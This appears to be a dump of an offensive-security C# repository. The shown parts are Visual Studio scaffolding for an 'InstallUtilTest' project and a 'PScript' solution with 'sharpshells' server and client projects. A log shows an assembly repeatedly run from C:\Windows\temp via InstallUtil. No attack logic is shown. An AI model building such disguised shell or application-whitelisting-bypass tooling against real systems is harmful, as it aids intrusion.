[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("buildit.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace buildit.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/bin/Debug/InstallUtil.InstallLog: -------------------------------------------------------------------------------- 1 |  2 | 3 | The uninstall is beginning. 4 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 5 | The file is located at C:\Windows\temp\goinstut.InstallLog. 6 | 7 | 8 | The uninstall is beginning. 9 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 10 | The file is located at C:\Windows\temp\goinstut.InstallLog. 11 | 12 | 13 | The uninstall is beginning. 14 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 15 | The file is located at C:\Windows\temp\goinstut.InstallLog. 16 | 17 | The uninstall has completed. 18 | 19 | The uninstall has completed. 20 | 21 | 22 | The uninstall is beginning. 23 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 24 | The file is located at C:\Windows\temp\goinstut.InstallLog. 25 | 26 | The uninstall has completed. 27 | 28 | 29 | The uninstall is beginning. 30 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 31 | The file is located at C:\Windows\temp\goinstut.InstallLog. 32 | 33 | The uninstall has completed. 34 | 35 | 36 | The uninstall is beginning. 37 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 38 | The file is located at C:\Windows\temp\goinstut.InstallLog. 39 | 40 | 41 | The uninstall is beginning. 42 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 43 | The file is located at C:\Windows\temp\goinstut.InstallLog. 44 | 45 | 46 | The uninstall is beginning. 47 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 48 | The file is located at C:\Windows\temp\goinstut.InstallLog. 49 | 50 | 51 | The uninstall is beginning. 52 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 53 | The file is located at C:\Windows\temp\goinstut.InstallLog. 54 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/bin/Debug/System.Configuration.Install.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/bin/Debug/System.Configuration.Install.dll -------------------------------------------------------------------------------- /InstallUtilTest/buildit/bin/Debug/buildit.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/bin/Debug/buildit.exe -------------------------------------------------------------------------------- /InstallUtilTest/buildit/bin/Debug/buildit.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/bin/Debug/buildit.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/bin/Debug/buildit.pdb -------------------------------------------------------------------------------- /InstallUtilTest/buildit/buildit.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {42E8B9E1-0CF4-46AE-B573-9D0563E41238} 8 | WinExe 9 | buildit 10 | buildit 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | Form 50 | 51 | 52 | Form1.cs 53 | 54 | 55 | 56 | 57 | Form1.cs 58 | 59 | 60 | ResXFileCodeGenerator 61 | Resources.Designer.cs 62 | Designer 63 | 64 | 65 | True 66 | Resources.resx 67 | 68 | 69 | SettingsSingleFileGenerator 70 | Settings.Designer.cs 71 | 72 | 73 | True 74 | Settings.settings 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/buildit.Form1.resources -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/buildit.Properties.Resources.resources -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 49ddf053a8af5d6e9369e6d3a8e96ccab85129ad 2 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\obj\Debug\buildit.Form1.resources 2 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\obj\Debug\buildit.Properties.Resources.resources 3 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\obj\Debug\buildit.csproj.GenerateResource.cache 4 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\obj\Debug\buildit.csproj.CoreCompileInputs.cache 5 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\bin\Debug\buildit.exe.config 6 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\bin\Debug\buildit.exe 7 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\bin\Debug\buildit.pdb 8 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\obj\Debug\buildit.exe 9 | D:\aalphaas\offensivec#\InstallUtilTest\buildit\obj\Debug\buildit.pdb 10 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/buildit.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/buildit.exe -------------------------------------------------------------------------------- /InstallUtilTest/buildit/obj/Debug/buildit.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/buildit/obj/Debug/buildit.pdb -------------------------------------------------------------------------------- /PScript/.vs/PScript/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/.vs/PScript/v16/.suo -------------------------------------------------------------------------------- /PScript/.vs/PScript/v16/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/.vs/PScript/v16/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /PScript/.vs/PScript/v16/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/.vs/PScript/v16/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /PScript/PScript.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29403.142 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PScript", "PScript\PScript.csproj", "{1EE4188C-24AC-4478-B892-36B1029A13B3}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "psconsole", "psconsole\psconsole.csproj", "{3412FBE9-19D3-41D8-9AD2-6461FCB394DC}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "server", "sharpshells\server.csproj", "{048A6559-D4D3-4AD8-AF0F-B7F72B212E90}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "client", "client\client.csproj", "{5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8}" 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|Any CPU = Debug|Any CPU 17 | Release|Any CPU = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {1EE4188C-24AC-4478-B892-36B1029A13B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {1EE4188C-24AC-4478-B892-36B1029A13B3}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {1EE4188C-24AC-4478-B892-36B1029A13B3}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {1EE4188C-24AC-4478-B892-36B1029A13B3}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {3412FBE9-19D3-41D8-9AD2-6461FCB394DC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {3412FBE9-19D3-41D8-9AD2-6461FCB394DC}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {3412FBE9-19D3-41D8-9AD2-6461FCB394DC}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {3412FBE9-19D3-41D8-9AD2-6461FCB394DC}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {048A6559-D4D3-4AD8-AF0F-B7F72B212E90}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 29 | {048A6559-D4D3-4AD8-AF0F-B7F72B212E90}.Debug|Any CPU.Build.0 = Debug|Any CPU 30 | {048A6559-D4D3-4AD8-AF0F-B7F72B212E90}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {048A6559-D4D3-4AD8-AF0F-B7F72B212E90}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 33 | {5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8}.Debug|Any CPU.Build.0 = Debug|Any CPU 34 | {5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8}.Release|Any CPU.ActiveCfg = Release|Any CPU 35 | {5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8}.Release|Any CPU.Build.0 = Release|Any CPU 36 | EndGlobalSection 37 | GlobalSection(SolutionProperties) = preSolution 38 | HideSolutionNode = FALSE 39 | EndGlobalSection 40 | GlobalSection(ExtensibilityGlobals) = postSolution 41 | SolutionGuid = {1415E123-B9E5-4991-AADF-ACC6D6BED2AD} 42 | EndGlobalSection 43 | EndGlobal 44 | -------------------------------------------------------------------------------- /PScript/PScript/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/PScript/PSForm.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace PScript 2 | { 3 | partial class PSForm 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.button1 = new System.Windows.Forms.Button(); 32 | this.SuspendLayout(); 33 | // 34 | // button1 35 | // 36 | this.button1.Font = new System.Drawing.Font("Trebuchet MS", 15F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 37 | this.button1.Location = new System.Drawing.Point(12, 12); 38 | this.button1.Name = "button1"; 39 | this.button1.Size = new System.Drawing.Size(193, 64); 40 | this.button1.TabIndex = 0; 41 | this.button1.Text = "Don\'t Click"; 42 | this.button1.UseVisualStyleBackColor = true; 43 | this.button1.Click += new System.EventHandler(this.dontclick_Click); 44 | // 45 | // PSForm 46 | // 47 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 48 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 49 | this.ClientSize = new System.Drawing.Size(219, 89); 50 | this.Controls.Add(this.button1); 51 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; 52 | this.Name = "PSForm"; 53 | this.Text = "Sharp Power Shell "; 54 | this.ResumeLayout(false); 55 | 56 | } 57 | 58 | #endregion 59 | 60 | private System.Windows.Forms.Button button1; 61 | } 62 | } 63 | 64 | -------------------------------------------------------------------------------- /PScript/PScript/PScript.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {1EE4188C-24AC-4478-B892-36B1029A13B3} 8 | WinExe 9 | PScript 10 | PScript 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | ..\packages\System.Management.Automation.dll.10.0.10586.0\lib\net40\System.Management.Automation.dll 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | Form 53 | 54 | 55 | PSForm.cs 56 | 57 | 58 | 59 | 60 | Form 61 | 62 | 63 | Sharp PS.cs 64 | 65 | 66 | PSForm.cs 67 | 68 | 69 | ResXFileCodeGenerator 70 | Resources.Designer.cs 71 | Designer 72 | 73 | 74 | True 75 | Resources.resx 76 | 77 | 78 | Sharp PS.cs 79 | 80 | 81 | 82 | SettingsSingleFileGenerator 83 | Settings.Designer.cs 84 | 85 | 86 | True 87 | Settings.settings 88 | True 89 | 90 | 91 | 92 | 93 | 94 | 95 | -------------------------------------------------------------------------------- /PScript/PScript/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace PScript 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new PSForm()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /PScript/PScript/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PScript")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("PScript")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("1ee4188c-24ac-4478-b892-36b1029a13b3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PScript/PScript/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace PScript.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("PScript.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /PScript/PScript/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace PScript.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /PScript/PScript/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /PScript/PScript/Sharp PS.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace PScript 2 | { 3 | partial class Sharp_PS 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.dontclick = new System.Windows.Forms.Button(); 32 | this.SuspendLayout(); 33 | // 34 | // dontclick 35 | // 36 | this.dontclick.Font = new System.Drawing.Font("Trebuchet MS", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 37 | this.dontclick.Location = new System.Drawing.Point(11, 12); 38 | this.dontclick.Name = "dontclick"; 39 | this.dontclick.Size = new System.Drawing.Size(190, 99); 40 | this.dontclick.TabIndex = 0; 41 | this.dontclick.Text = "Don\'t Click"; 42 | this.dontclick.UseVisualStyleBackColor = true; 43 | this.dontclick.Click += new System.EventHandler(this.dontclick_Click); 44 | // 45 | // Sharp_PS 46 | // 47 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 48 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 49 | this.ClientSize = new System.Drawing.Size(211, 123); 50 | this.Controls.Add(this.dontclick); 51 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; 52 | this.Name = "Sharp_PS"; 53 | this.Text = "Sharp_PS"; 54 | this.ResumeLayout(false); 55 | 56 | } 57 | 58 | #endregion 59 | 60 | private System.Windows.Forms.Button dontclick; 61 | } 62 | } -------------------------------------------------------------------------------- /PScript/PScript/bin/Debug/PScript.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/bin/Debug/PScript.exe -------------------------------------------------------------------------------- /PScript/PScript/bin/Debug/PScript.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/PScript/bin/Debug/PScript.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/bin/Debug/PScript.pdb -------------------------------------------------------------------------------- /PScript/PScript/bin/Debug/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/bin/Debug/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/PScript/bin/Release/PScript.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/bin/Release/PScript.exe -------------------------------------------------------------------------------- /PScript/PScript/bin/Release/PScript.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/PScript/bin/Release/PScript.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/bin/Release/PScript.pdb -------------------------------------------------------------------------------- /PScript/PScript/bin/Release/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/bin/Release/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.PSForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.PSForm.resources -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.Properties.Resources.resources -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.Sharp_PS.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.Sharp_PS.resources -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.csproj.CopyComplete -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\PScript\bin\Debug\PScript.exe.config 2 | D:\aalphaas\PScript\PScript\bin\Debug\PScript.exe 3 | D:\aalphaas\PScript\PScript\bin\Debug\PScript.pdb 4 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.Properties.Resources.resources 5 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.csproj.GenerateResource.cache 6 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.exe 7 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.pdb 8 | D:\aalphaas\PScript\PScript\bin\Debug\System.Management.Automation.dll 9 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.csproj.CopyComplete 10 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.PSForm.resources 11 